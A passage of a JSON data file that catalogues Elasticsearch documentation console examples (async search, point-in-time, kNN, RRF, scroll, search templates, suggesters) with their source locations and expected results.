\"failed\": 0\n },\n \"hits\": {\n \"total\": {\n \"value\": 20,\n \"relation\": \"eq\"\n },\n \"max_score\": 1.3862942,\n \"hits\": [\n {\n \"_index\": \"my-index-000001\",\n \"_id\": \"0\",\n \"_score\": 1.3862942,\n \"_source\": {\n \"@timestamp\": \"2099-11-15T14:12:12\",\n \"http\": {\n \"request\": {\n \"method\": \"get\"\n },\n \"response\": {\n \"status_code\": 200,\n \"bytes\": 1070000\n },\n \"version\": \"1.1\"\n },\n \"source\": {\n \"ip\": \"127.0.0.1\"\n },\n \"message\": \"GET /search HTTP/1.1 200 1070000\",\n \"user\": {\n \"id\": \"kimchy\"\n }\n }\n },\n ...\n ]\n }\n}"}, {"source_location":{"file":"search/async-search.asciidoc","line":15},"digest":"cd373a6eb1ef4748616500b26fab3006","lang":"console","found":["ruby"],"source":"POST /sales*/_async_search?size=0\n{\n \"sort\": [\n { \"date\": { \"order\": \"asc\" } }\n ],\n \"aggs\": {\n \"sale_date\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"1d\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/async-search.asciidoc","line":40},"digest":"3849c2b7e9d0242f272293aa42010b34","lang":"console-result","found":[],"source":"{\n \"id\" : \"FmRldE8zREVEUzA2ZVpUeGs2ejJFUFEaMkZ5QTVrSTZSaVN3WlNFVmtlWHJsdzoxMDc=\", <1>\n \"is_partial\" : true, <2>\n \"is_running\" : true, <3>\n \"start_time_in_millis\" : 1583945890986,\n \"expiration_time_in_millis\" : 1584377890986,\n \"response\" : {\n \"took\" : 1122,\n \"timed_out\" : false,\n \"num_reduce_phases\" : 0,\n \"_shards\" : {\n \"total\" : 562, <4>\n \"successful\" : 3, <5>\n \"skipped\" : 0,\n \"failed\" : 0\n },\n \"hits\" : {\n \"total\" : {\n \"value\" : 157483, <6>\n \"relation\" : \"gte\"\n },\n \"max_score\" : null,\n \"hits\" : [ ]\n }\n }\n}"}, {"source_location":{"file":"search/async-search.asciidoc","line":153},"digest":"14b81f96297952970b78a3216e059596","lang":"console","found":["ruby"],"source":"GET /_async_search/FmRldE8zREVEUzA2ZVpUeGs2ejJFUFEaMkZ5QTVrSTZSaVN3WlNFVmtlWHJsdzoxMDc="}, {"source_location":{"file":"search/async-search.asciidoc","line":159},"digest":"962c20c7533305915d491a443e7c305a","lang":"console-result","found":[],"source":"{\n \"id\" : \"FmRldE8zREVEUzA2ZVpUeGs2ejJFUFEaMkZ5QTVrSTZSaVN3WlNFVmtlWHJsdzoxMDc=\",\n \"is_partial\" : false, <1>\n \"is_running\" : false, <2>\n \"start_time_in_millis\" : 1583945890986,\n \"expiration_time_in_millis\" : 1584377890986, <3>\n \"completion_time_in_millis\" : 1583945903130, <4>\n \"response\" : {\n \"took\" : 12144,\n \"timed_out\" : false,\n \"num_reduce_phases\" : 46, <5>\n \"_shards\" : {\n \"total\" : 562,\n \"successful\" : 188, <6>\n \"skipped\" : 0,\n \"failed\" : 0\n },\n \"hits\" : {\n \"total\" : {\n \"value\" : 456433,\n \"relation\" : \"eq\"\n },\n \"max_score\" : null,\n \"hits\" : [ ]\n },\n \"aggregations\" : { <7>\n \"sale_date\" : {\n \"buckets\" : []\n }\n }\n }\n}"}, {"source_location":{"file":"search/async-search.asciidoc","line":253},"digest":"acb850c08f51226eadb75be09e336076","lang":"console","found":["ruby"],"source":"GET /_async_search/status/FmRldE8zREVEUzA2ZVpUeGs2ejJFUFEaMkZ5QTVrSTZSaVN3WlNFVmtlWHJsdzoxMDc="}, {"source_location":{"file":"search/async-search.asciidoc","line":259},"digest":"f3a1cf8249da27480303a459ac2a1145","lang":"console-result","found":[],"source":"{\n \"id\" : \"FmRldE8zREVEUzA2ZVpUeGs2ejJFUFEaMkZ5QTVrSTZSaVN3WlNFVmtlWHJsdzoxMDc=\",\n \"is_running\" : true,\n \"is_partial\" : true,\n \"start_time_in_millis\" : 1583945890986,\n \"expiration_time_in_millis\" : 1584377890986,\n \"_shards\" : {\n \"total\" : 562,\n \"successful\" : 188, <1>\n \"skipped\" : 0,\n \"failed\" : 0\n }\n}"}, {"source_location":{"file":"search/async-search.asciidoc","line":283},"digest":"edeb3b3a9a4d15a5b0747ffcfb3572d6","lang":"console-result","found":[],"source":"{\n \"id\" : \"FmRldE8zREVEUzA2ZVpUeGs2ejJFUFEaMkZ5QTVrSTZSaVN3WlNFVmtlWHJsdzoxMDc=\",\n \"is_running\" : false,\n \"is_partial\" : false,\n \"start_time_in_millis\" : 1583945890986,\n \"expiration_time_in_millis\" : 1584377890986,\n \"_shards\" : {\n \"total\" : 562,\n \"successful\" : 562,\n \"skipped\" : 0,\n \"failed\" : 0\n },\n \"completion_status\" : 200 <1>\n}"}, {"source_location":{"file":"search/async-search.asciidoc","line":305},"digest":"8c5a9a4766402f87aa6ddb9aeacc27b7","lang":"console-result","found":[],"source":"{\n \"id\" : \"FmRldE8zREVEUzA2ZVpUeGs2ejJFUFEaMkZ5QTVrSTZSaVN3WlNFVmtlWHJsdzoxMDc=\",\n \"is_running\" : false,\n \"is_partial\" : true,\n \"start_time_in_millis\" : 1583945890986,\n \"expiration_time_in_millis\" : 1584377890986,\n \"_shards\" : {\n \"total\" : 562,\n \"successful\" : 450,\n \"skipped\" : 0,\n \"failed\" : 112\n },\n \"completion_status\" : 503 <1>\n}"}, {"source_location":{"file":"search/async-search.asciidoc","line":334},"digest":"7a3a7fbd81e5050b42e8c1eca26c7c1d","lang":"console","found":["ruby"],"source":"DELETE /_async_search/FmRldE8zREVEUzA2ZVpUeGs2ejJFUFEaMkZ5QTVrSTZSaVN3WlNFVmtlWHJsdzoxMDc="}, {"source_location":{"file":"search/point-in-time-api.asciidoc","line":40},"digest":"5987afb2c17c73fe3d860937565ef115","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_pit?keep_alive=1m"}, {"source_location":{"file":"search/point-in-time-api.asciidoc","line":49},"digest":"c088ce5291ae28650b6091cdec489398","lang":"console","found":[],"source":"POST /_search <1>\n{\n \"size\": 100, <2>\n \"query\": {\n \"match\" : {\n \"title\" : \"elasticsearch\"\n }\n },\n \"pit\": {\n\t \"id\": \"46ToAwMDaWR5BXV1aWQyKwZub2RlXzMAAAAAAAAAACoBYwADaWR4BXV1aWQxAgZub2RlXzEAAAAAAAAAAAEBYQADaWR5BXV1aWQyKgZub2RlXzIAAAAAAAAAAAwBYgACBXV1aWQyAAAFdXVpZDEAAQltYXRjaF9hbGw_gAAAAA==\", <3>\n\t \"keep_alive\": \"1m\" <4>\n }\n}"}, {"source_location":{"file":"search/point-in-time-api.asciidoc","line":108},"digest":"72beebe779a258c225dee7b023e60c52","lang":"console","found":["php","ruby","go","js"],"source":"GET /_nodes/stats/indices/search"}, {"source_location":{"file":"search/point-in-time-api.asciidoc","line":121},"digest":"9ff9b2a73419a6c82f17a358b4991499","lang":"console","found":["ruby"],"source":"DELETE /_pit\n{\n \"id\" : \"46ToAwMDaWR5BXV1aWQyKwZub2RlXzMAAAAAAAAAACoBYwADaWR4BXV1aWQxAgZub2RlXzEAAAAAAAAAAAEBYQADaWR5BXV1aWQyKgZub2RlXzIAAAAAAAAAAAwBYgACBXV1aWQyAAAFdXVpZDEAAQltYXRjaF9hbGw_gAAAAA==\"\n}"}, {"source_location":{"file":"search/point-in-time-api.asciidoc","line":132},"digest":"dc6c3c097ec6fae32e02dc62648d9749","lang":"console-result","found":[],"source":"{\n \"succeeded\": true, <1>\n \"num_freed\": 3 <2>\n}"}, {"source_location":{"file":"search/point-in-time-api.asciidoc","line":152},"digest":"0ea2167ce7c87d311b20c4f8c698a8d0","lang":"console","found":[],"source":"GET /_search\n{\n \"slice\": {\n \"id\": 0, <1>\n \"max\": 2 <2>\n },\n \"query\": {\n \"match\": {\n \"message\": \"foo\"\n }\n },\n \"pit\": {\n \"id\": \"46ToAwMDaWR5BXV1aWQyKwZub2RlXzMAAAAAAAAAACoBYwADaWR4BXV1aWQxAgZub2RlXzEAAAAAAAAAAAEBYQADaWR5BXV1aWQyKgZub2RlXzIAAAAAAAAAAAwBYgACBXV1aWQyAAAFdXVpZDEAAQltYXRjaF9hbGw_gAAAAA==\"\n }\n}\n\nGET /_search\n{\n \"slice\": {\n \"id\": 1,\n \"max\": 2\n },\n \"pit\": {\n \"id\": \"46ToAwMDaWR5BXV1aWQyKwZub2RlXzMAAAAAAAAAACoBYwADaWR4BXV1aWQxAgZub2RlXzEAAAAAAAAAAAEBYQADaWR5BXV1aWQyKgZub2RlXzIAAAAAAAAAAAwBYgACBXV1aWQyAAAFdXVpZDEAAQltYXRjaF9hbGw_gAAAAA==\"\n },\n \"query\": {\n \"match\": {\n \"message\": \"foo\"\n }\n }\n}"}, {"source_location":{"file":"search/knn-search.asciidoc","line":36},"digest":"49b31e23f8b9667b6a7b2734d55fb6ed","lang":"console","found":[],"source":"GET my-index/_knn_search\n{\n \"knn\": {\n \"field\": \"image_vector\",\n \"query_vector\": [0.3, 0.1, 1.2],\n \"k\": 10,\n \"num_candidates\": 100\n },\n \"_source\": [\"name\", \"file_type\"]\n}"}, {"source_location":{"file":"search/rrf.asciidoc","line":53},"digest":"e740e23dcb5f5550d0376c2123930756","lang":"console","found":[],"source":"GET example-index/_search\n{\n \"retriever\": {\n \"rrf\": { <3>\n \"retrievers\": [\n {\n \"standard\": { <2>\n \"query\": {\n \"term\": {\n \"text\": \"shoes\"\n }\n }\n }\n },\n {\n \"knn\": { <1>\n \"field\": \"vector\",\n \"query_vector\": [1.25, 2, 3.5],\n \"k\": 50,\n \"num_candidates\": 100\n }\n }\n ],\n \"window_size\": 50,\n \"rank_constant\": 20\n }\n }\n}"}, {"source_location":{"file":"search/rrf.asciidoc","line":135},"digest":"83adaad89679c2a9e6d71d675dc766ae","lang":"console","found":[],"source":"GET example-index/_search\n{\n \"retriever\": {\n \"rrf\": { <3>\n \"retrievers\": [\n {\n \"standard\": { <1>\n \"query\": {\n \"term\": {\n \"text\": \"blue shoes sale\"\n }\n }\n }\n },\n {\n \"standard\": { <2>\n \"query\": {\n \"text_expansion\":{\n \"ml.tokens\":{\n \"model_id\":\"my_elser_model\",\n \"model_text\":\"What blue shoes are on sale?\"\n }\n }\n }\n }\n }\n ],\n \"window_size\": 50,\n \"rank_constant\": 20\n }\n }\n}"}, {"source_location":{"file":"search/rrf.asciidoc","line":205},"digest":"93cca1eb4d9ee4c65ab259e18469d9d6","lang":"console","found":[],"source":"PUT example-index\n{\n \"mappings\": {\n \"properties\": {\n \"text\" : {\n \"type\" : \"text\"\n },\n \"vector\": {\n \"type\": \"dense_vector\",\n \"dims\": 1,\n \"index\": true,\n \"similarity\": \"l2_norm\"\n },\n \"integer\" : {\n \"type\" : \"integer\"\n }\n }\n }\n}\n\nPUT example-index/_doc/1\n{\n \"text\" : \"rrf\",\n \"vector\" : [5],\n \"integer\": 1\n}\n\nPUT example-index/_doc/2\n{\n \"text\" : \"rrf rrf\",\n \"vector\" : [4],\n \"integer\": 2\n}\n\nPUT example-index/_doc/3\n{\n \"text\" : \"rrf rrf rrf\",\n \"vector\" : [3],\n \"integer\": 1\n}\n\nPUT example-index/_doc/4\n{\n \"text\" : \"rrf rrf rrf rrf\",\n \"integer\": 2\n}\n\nPUT example-index/_doc/5\n{\n \"vector\" : [0],\n \"integer\": 1\n}\n\nPOST example-index/_refresh"}, {"source_location":{"file":"search/rrf.asciidoc","line":268},"digest":"318adcdaae78e3dfcf5f08009f379367","lang":"console","found":[],"source":"GET example-index/_search\n{\n \"retriever\": {\n \"rrf\": {\n \"retrievers\": [\n {\n \"standard\": {\n \"query\": {\n \"term\": {\n \"text\": \"rrf\"\n }\n }\n }\n },\n {\n \"knn\": {\n \"field\": \"vector\",\n \"query_vector\": [3],\n \"k\": 5,\n \"num_candidates\": 5\n }\n }\n ],\n \"window_size\": 5,\n \"rank_constant\": 1\n }\n },\n \"size\": 3,\n \"aggs\": {\n \"int_count\": {\n \"terms\": {\n \"field\": \"integer\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/rrf.asciidoc","line":396},"digest":"464ec738d00e84f49c6c769b48bc049f","lang":"console-result","found":[],"source":"\"hits\" : [\n {\n \"_index\" : \"example-index\",\n \"_id\" : \"4\",\n \"_score\" : 0.16152832, <1>\n \"_source\" : {\n \"integer\" : 2,\n \"text\" : \"rrf rrf rrf rrf\"\n }\n },\n {\n \"_index\" : \"example-index\",\n \"_id\" : \"3\", <2>\n \"_score\" : 0.15876243,\n \"_source\" : {\n \"integer\" : 1,\n \"vector\" : [3],\n \"text\" : \"rrf rrf rrf\"\n }\n },\n {\n \"_index\" : \"example-index\",\n \"_id\" : \"2\", <3>\n \"_score\" : 0.15350538,\n \"_source\" : {\n \"integer\" : 2,\n \"vector\" : [4],\n \"text\" : \"rrf rrf\"\n }\n },\n {\n \"_index\" : \"example-index\",\n \"_id\" : \"1\", <4>\n \"_score\" : 0.13963442,\n \"_source\" : {\n \"integer\" : 1,\n \"vector\" : [5],\n \"text\" : \"rrf\"\n }\n }\n]"}, {"source_location":{"file":"search/rrf.asciidoc","line":449},"digest":"18f499a1ac0619546f0e8834b77e559a","lang":"console-result","found":[],"source":"\"hits\" : [\n {\n \"_index\" : \"example-index\",\n \"_id\" : \"3\", <1>\n \"_score\" : 1.0,\n \"_source\" : {\n \"integer\" : 1,\n \"vector\" : [3],\n \"text\" : \"rrf rrf rrf\"\n }\n },\n {\n \"_index\" : \"example-index\",\n \"_id\" : \"2\", <2>\n \"_score\" : 0.5,\n \"_source\" : {\n \"integer\" : 2,\n \"vector\" : [4],\n \"text\" : \"rrf rrf\"\n }\n },\n {\n \"_index\" : \"example-index\",\n \"_id\" : \"1\", <3>\n \"_score\" : 0.2,\n \"_source\" : {\n \"integer\" : 1,\n \"vector\" : [5],\n \"text\" : \"rrf\"\n }\n },\n {\n \"_index\" : \"example-index\",\n \"_id\" : \"5\", <4>\n \"_score\" : 0.1,\n \"_source\" : {\n \"integer\" : 1,\n \"vector\" : [0]\n }\n }\n]"}, {"source_location":{"file":"search/scroll-api.asciidoc","line":29},"digest":"c27b7d9836aa4ea756f59e9c42911721","lang":"console","found":[],"source":"GET /_search/scroll\n{\n \"scroll_id\" : \"DXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAD4WYm9laVYtZndUQlNsdDcwakFMNjU1QQ==\"\n}"}, {"source_location":{"file":"search/clear-scroll-api.asciidoc","line":25},"digest":"a69b1ce5cc9528fb3639185eaf241ae3","lang":"console","found":["ruby","go"],"source":"DELETE /_search/scroll\n{\n \"scroll_id\" : \"DXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAD4WYm9laVYtZndUQlNsdDcwakFMNjU1QQ==\"\n}"}, {"source_location":{"file":"search/search-template-api.asciidoc","line":40},"digest":"c956bf1f0829a5f0357c0494ed8b6ca3","lang":"console","found":["ruby"],"source":"GET my-index/_search/template\n{\n \"id\": \"my-search-template\",\n \"params\": {\n \"query_string\": \"hello world\",\n \"from\": 0,\n \"size\": 10\n }\n}"}, {"source_location":{"file":"search/multi-search-template-api.asciidoc","line":41},"digest":"774bfde8793dc4927f7cad2dd91c5b5f","lang":"console","found":["ruby"],"source":"GET my-index/_msearch/template\n{ }\n{ \"id\": \"my-search-template\", \"params\": { \"query_string\": \"hello world\", \"from\": 0, \"size\": 10 }}\n{ }\n{ \"id\": \"my-other-search-template\", \"params\": { \"query_type\": \"match_all\" }}"}, {"source_location":{"file":"search/render-search-template-api.asciidoc","line":36},"digest":"ad92a1a8bb1b0f26d1536fe8ba4ffd17","lang":"console","found":["ruby"],"source":"POST _render/template\n{\n \"id\": \"my-search-template\",\n \"params\": {\n \"query_string\": \"hello world\",\n \"from\": 20,\n \"size\": 10\n }\n}"}, {"source_location":{"file":"search/search-shards.asciidoc","line":10},"digest":"e8c348cabe15dfe58ab4c3cc13a963fe","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_search_shards"}, {"source_location":{"file":"search/search-shards.asciidoc","line":71},"digest":"e8c348cabe15dfe58ab4c3cc13a963fe","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_search_shards"}, {"source_location":{"file":"search/search-shards.asciidoc","line":79},"digest":"0e87c55eb8ebb713b69d7a08d3063d21","lang":"console-result","found":[],"source":"{\n \"nodes\": ...,\n \"indices\" : {\n \"my-index-000001\": { }\n },\n \"shards\": [\n [\n {\n \"index\": \"my-index-000001\",\n \"node\": \"JklnKbD7Tyqi9TP3_Q_tBg\",\n \"relocating_node\": null,\n \"primary\": true,\n \"shard\": 0,\n \"state\": \"STARTED\",\n \"allocation_id\": {\"id\":\"0TvkCyF7TAmM1wHP4a42-A\"},\n \"relocation_failure_info\" : {\n \"failed_attempts\" : 0\n }\n }\n ],\n [\n {\n \"index\": \"my-index-000001\",\n \"node\": \"JklnKbD7Tyqi9TP3_Q_tBg\",\n \"relocating_node\": null,\n \"primary\": true,\n \"shard\": 1,\n \"state\": \"STARTED\",\n \"allocation_id\": {\"id\":\"fMju3hd1QHWmWrIgFnI4Ww\"},\n \"relocation_failure_info\" : {\n \"failed_attempts\" : 0\n }\n }\n ],\n [\n {\n \"index\": \"my-index-000001\",\n \"node\": \"JklnKbD7Tyqi9TP3_Q_tBg\",\n \"relocating_node\": null,\n \"primary\": true,\n \"shard\": 2,\n \"state\": \"STARTED\",\n \"allocation_id\": {\"id\":\"Nwl0wbMBTHCWjEEbGYGapg\"},\n \"relocation_failure_info\" : {\n \"failed_attempts\" : 0\n }\n }\n ],\n [\n {\n \"index\": \"my-index-000001\",\n \"node\": \"JklnKbD7Tyqi9TP3_Q_tBg\",\n \"relocating_node\": null,\n \"primary\": true,\n \"shard\": 3,\n \"state\": \"STARTED\",\n \"allocation_id\": {\"id\":\"bU_KLGJISbW0RejwnwDPKw\"},\n \"relocation_failure_info\" : {\n \"failed_attempts\" : 0\n }\n }\n ],\n [\n {\n \"index\": \"my-index-000001\",\n \"node\": \"JklnKbD7Tyqi9TP3_Q_tBg\",\n \"relocating_node\": null,\n \"primary\": true,\n \"shard\": 4,\n \"state\": \"STARTED\",\n \"allocation_id\": {\"id\":\"DMs7_giNSwmdqVukF7UydA\"},\n \"relocation_failure_info\" : {\n \"failed_attempts\" : 0\n }\n }\n ]\n ]\n}"}, {"source_location":{"file":"search/search-shards.asciidoc","line":170},"digest":"afe87a2850326e0328fbebbefec2e839","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_search_shards?routing=foo,bar"}, {"source_location":{"file":"search/search-shards.asciidoc","line":178},"digest":"083e4f2305affcd8e3c1ce88322df727","lang":"console-result","found":[],"source":"{\n \"nodes\": ...,\n \"indices\" : {\n \"my-index-000001\": { }\n },\n \"shards\": [\n [\n {\n \"index\": \"my-index-000001\",\n \"node\": \"JklnKbD7Tyqi9TP3_Q_tBg\",\n \"relocating_node\": null,\n \"primary\": true,\n \"shard\": 2,\n \"state\": \"STARTED\",\n \"allocation_id\": {\"id\":\"fMju3hd1QHWmWrIgFnI4Ww\"},\n \"relocation_failure_info\" : {\n \"failed_attempts\" : 0\n }\n }\n ],\n [\n {\n \"index\": \"my-index-000001\",\n \"node\": \"JklnKbD7Tyqi9TP3_Q_tBg\",\n \"relocating_node\": null,\n \"primary\": true,\n \"shard\": 3,\n \"state\": \"STARTED\",\n \"allocation_id\": {\"id\":\"0TvkCyF7TAmM1wHP4a42-A\"},\n \"relocation_failure_info\" : {\n \"failed_attempts\" : 0\n }\n }\n ]\n ]\n}"}, {"source_location":{"file":"search/suggesters.asciidoc","line":7},"digest":"c67b0f00c2e690303c0e5af2f51e0fea","lang":"console","found":["python","ruby"],"source":"POST my-index-000001/_search\n{\n \"query\" : {\n \"match\": {\n \"message\": \"tring out Elasticsearch\"\n }\n },\n \"suggest\" : {\n \"my-suggestion\" : {\n \"text\" : \"tring out Elasticsearch\",\n \"term\" : {\n \"field\" : \"message\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/suggesters.asciidoc","line":46},"digest":"c64b61bedb21b9def8fce5092e677af9","lang":"console","found":["python","ruby"],"source":"POST _search\n{\n \"suggest\": {\n \"my-suggest-1\" : {\n \"text\" : \"tring out Elasticsearch\",\n \"term\" : {\n \"field\" : \"message\"\n }\n },\n \"my-suggest-2\" : {\n \"text\" : \"kmichy\",\n \"term\" : {\n \"field\" : \"user.id\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/suggesters.asciidoc","line":75},"digest":"b53648eccf39f999e69495a1ef4b8a43","lang":"console-result","found":[],"source":"{\n \"_shards\": ...\n \"hits\": ...\n \"took\": 2,\n \"timed_out\": false,\n \"suggest\": {\n \"my-suggest-1\": [ {\n \"text\": \"tring\",\n \"offset\": 0,\n \"length\": 5,\n \"options\": [ {\"text\": \"trying\", \"score\": 0.8, \"freq\": 1 } ]\n }, {\n \"text\": \"out\",\n \"offset\": 6,\n \"length\": 3,\n \"options\": []\n }, {\n \"text\": \"elasticsearch\",\n \"offset\": 10,\n \"length\": 13,\n \"options\": []\n } ],\n \"my-suggest-2\": ...\n }\n}"}, {"source_location":{"file":"search/suggesters.asciidoc","line":122},"digest":"5275842787967b6db876025f4a1c6942","lang":"console","found":["php","python","ruby","go","js"],"source":"POST _search\n{\n \"suggest\": {\n \"text\" : \"tring out Elasticsearch\",\n \"my-suggest-1\" : {\n \"term\" : {\n \"field\" : \"message\"\n }\n },\n \"my-suggest-2\" : {\n \"term\" : {\n \"field\" : \"user\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/suggesters/phrase-suggest.asciidoc","line":22},"digest":"5566cff431570f522e1fc5475b2ed875","lang":"console","found":["ruby"],"source":"PUT test\n{\n \"settings\": {\n \"index\": {\n \"number_of_shards\": 1,\n \"analysis\": {\n \"analyzer\": {\n \"trigram\": {\n \"type\": \"custom\",\n \"tokenizer\": \"standard\",\n \"filter\": [\"lowercase\",\"shingle\"]\n },\n \"reverse\": {\n \"type\": \"custom\",\n \"tokenizer\": \"standard\",\n \"filter\": [\"lowercase\",\"reverse\"]\n }\n },\n \"filter\": {\n \"shingle\": {\n \"type\": \"shingle\",\n \"min_shingle_size\": 2,\n \"max_shingle_size\": 3\n }\n }\n }\n }\n },\n \"mappings\": {\n \"properties\": {\n \"title\": {\n \"type\": \"text\",\n \"fields\": {\n \"trigram\": {\n \"type\": \"text\",\n \"analyzer\": \"trigram\"\n },\n \"reverse\": {\n \"type\": \"text\",\n \"analyzer\": \"reverse\"\n }\n }\n }\n }\n }\n}\nPOST test/_doc?refresh=true\n{\"title\": \"noble warriors\"}\nPOST test/_doc?refresh=true\n{\"title\": \"nobel prize\"}"}, {"source_location":{"file":"search/suggesters/phrase-suggest.asciidoc","line":80},"digest":"3b162509ed14eda44a9681cd1108fa39","lang":"console","found":[],"source":"POST test/_search\n{\n \"suggest\": {\n \"text\": \"noble prize\",\n \"simple_phrase\": {\n \"phrase\": {\n \"field\": \"title.trigram\",\n \"size\": 1,\n \"gram_size\": 3,\n \"direct_generator\": [ {\n \"field\": \"title.trigram\",\n \"suggest_mode\": \"always\"\n } ],\n \"highlight\": {\n \"pre_tag\": \"\",\n \"post_tag\": \"\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"search/suggesters/phrase-suggest.asciidoc","line":107},"digest":"3af632e3611008f1290293e8cb653e4f","lang":"console-result","found":[],"source":"{\n \"_shards\": ...\n \"hits\": ...\n \"timed_out\": false,\n \"took\": 3,\n \"suggest\": {\n \"simple_phrase\" : [\n {\n \"text\" : \"noble prize\",\n \"offset\" : 0,\n \"length\" : 11,\n \"options\" : [ {\n \"text\" : \"nobel prize\",\n \"highlighted\": \"nobel prize\",\n \"score\" : 0.48614594\n }]\n }\n ]\n }\n}"}, {"source_location":{"file":"search/suggesters/phrase-suggest.asciidoc","line":221},"digest":"89a6b24618cafd60de1702a5b9f28a8d","lang":"console","found":[],"source":"POST test/_search\n{\n \"suggest\": {\n \"text\" : \"noble prize\",\n \"simple_phrase\" : {\n \"phrase\" : {\n \"field\" : \"title.trigram\",\n \"size\" : 1,\n \"direct_generator\" : [ {\n \"field\" : \"title.trigram\",\n \"suggest_mode\" : \"always\",\n \"min_word_length\" : 1\n } ],\n \"collate\": {\n \"query\": { <1>\n \"source\" : {\n \"match\": {\n \"{{field_name}}\" : \"{{suggestion}}\" <2>\n }\n }\n },\n \"params\": {\"field_name\" : \"title\"}, <3>\n \"prune\": true <4>\n }\n }\n }\n }\n}"}, {"source_location":{"file":"search/suggesters/phrase-suggest.asciidoc","line":290},"digest":"203c3bb334384bdfb11ff1101ccfba25","lang":"console","found":[],"source":"POST test/_search\n{\n \"suggest\": {\n \"text\" : \"obel prize\",\n \"simple_phrase\" : {\n \"phrase\" : {\n \"field\" : \"title.trigram\",\n \"size\" : 1,\n \"smoothing\" : {\n \"laplace\" : {\n \"alpha\" : 0.7\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"search/suggesters/phrase-suggest.asciidoc","line":410},"digest":"eb6d62f1d855a8e8fe9eab2656d47504","lang":"console","found":[],"source":"POST test/_search\n{\n \"suggest\": {\n \"text\" : \"obel prize\",\n \"simple_phrase\" : {\n \"phrase\" : {\n \"field\" : \"title.trigram\",\n \"size\" : 1,\n \"direct_generator\" : [ {\n \"field\" : \"title.trigram\",\n \"suggest_mode\" : \"always\"\n }, {\n \"field\" : \"title.reverse\",\n \"suggest_mode\" : \"always\",\n \"pre_filter\" : \"reverse\",\n \"post_filter\" : \"reverse\"\n } ]\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/types/completion.asciidoc","line":12},"digest":"31ac1b68dc7c26a1d37350be47ae9381","lang":"console","found":["ruby"],"source":"PUT music\n{\n \"mappings\": {\n \"properties\": {\n \"suggest\": {\n \"type\": \"completion\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/suggesters/completion-suggest.asciidoc","line":47},"digest":"a4f259522b4dc10a0323aff58236c2c2","lang":"console","found":["ruby"],"source":"PUT music/_doc/1?refresh\n{\n \"suggest\" : {\n \"input\": [ \"Nevermind\", \"Nirvana\" ],\n \"weight\" : 34\n }\n}"}, {"source_location":{"file":"search/suggesters/completion-suggest.asciidoc","line":83},"digest":"a5217a93efabceee9be19949e484f930","lang":"console","found":["ruby"],"source":"PUT music/_doc/1?refresh\n{\n \"suggest\": [\n {\n \"input\": \"Nevermind\",\n \"weight\": 10\n },\n {\n \"input\": \"Nirvana\",\n \"weight\": 3\n }\n ]\n}"}, {"source_location":{"file":"search/suggesters/completion-suggest.asciidoc","line":104},"digest":"7c3414279d47e9c29105d061ed316ef8","lang":"console","found":["ruby"],"source":"PUT music/_doc/1?refresh\n{\n \"suggest\" : [ \"Nevermind\", \"Nirvana\" ]\n}"}, {"source_location":{"file":"search/suggesters/completion-suggest.asciidoc","line":121},"digest":"4e6b78ac991ed2d5f9a2e7c89f4fc471","lang":"console","found":["ruby"],"source":"POST music/_search?pretty\n{\n \"suggest\": {\n \"song-suggest\": {\n \"prefix\": \"nir\", <1>\n \"completion\": { <2>\n \"field\": \"suggest\" <3>\n }\n }\n }\n}"}, {"source_location":{"file":"search/suggesters/completion-suggest.asciidoc","line":143},"digest":"92c5e36c94d3f183766862498044ec16","lang":"console-result","found":[],"source":"{\n \"_shards\" : {\n \"total\" : 1,\n \"successful\" : 1,\n \"skipped\" : 0,\n \"failed\" : 0\n },\n \"hits\": ...\n \"took\": 2,\n \"timed_out\": false,\n \"suggest\": {\n \"song-suggest\" : [ {\n \"text\" : \"nir\",\n \"offset\" : 0,\n \"length\" : 3,\n \"options\" : [ {\n \"text\" : \"Nirvana\",\n \"_index\": \"music\",\n \"_id\": \"1\",\n \"_score\": 1.0,\n \"_source\": {\n \"suggest\": [\"Nevermind\", \"Nirvana\"]\n }\n } ]\n } ]\n }\n}"}, {"source_location":{"file":"search/suggesters/completion-suggest.asciidoc","line":189},"digest":"a3f66deb467df86edbf66e1dca31da51","lang":"console","found":["ruby"],"source":"POST music/_search\n{\n \"_source\": \"suggest\", <1>\n \"suggest\": {\n \"song-suggest\": {\n \"prefix\": \"nir\",\n \"completion\": {\n \"field\": \"suggest\", <2>\n \"size\": 5 <3>\n }\n }\n }\n}"}, {"source_location":{"file":"search/suggesters/completion-suggest.asciidoc","line":213},"digest":"a541260d94a95ea866859ad1930897ba","lang":"console-result","found":[],"source":"{\n \"took\": 6,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\": 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\": {\n \"value\": 0,\n \"relation\": \"eq\"\n },\n \"max_score\": null,\n \"hits\": []\n },\n \"suggest\": {\n \"song-suggest\": [ {\n \"text\": \"nir\",\n \"offset\": 0,\n \"length\": 3,\n \"options\": [ {\n \"text\": \"Nirvana\",\n \"_index\": \"music\",\n \"_id\": \"1\",\n \"_score\": 1.0,\n \"_source\": {\n \"suggest\": [ \"Nevermind\", \"Nirvana\" ]\n }\n } ]\n } ]\n }\n}"}, {"source_location":{"file":"search/suggesters/completion-suggest.asciidoc","line":279},"digest":"a6169bc057ce8654bd306ff4b062081b","lang":"console","found":["ruby"],"source":"POST music/_search?pretty\n{\n \"suggest\": {\n \"song-suggest\": {\n \"prefix\": \"nor\",\n \"completion\": {\n \"field\": \"suggest\",\n \"skip_duplicates\": true\n }\n }\n }\n}"}, {"source_location":{"file":"search/suggesters/completion-suggest.asciidoc","line":304},"digest":"f329242d7c8406297eff9bf609870c37","lang":"console","found":["ruby"],"source":"POST music/_search?pretty\n{\n \"suggest\": {\n \"song-suggest\": {\n \"prefix\": \"nor\",\n \"completion\": {\n \"field\": \"suggest\",\n \"fuzzy\": {\n \"fuzziness\": 2\n }\n }\n }\n }\n}"}, 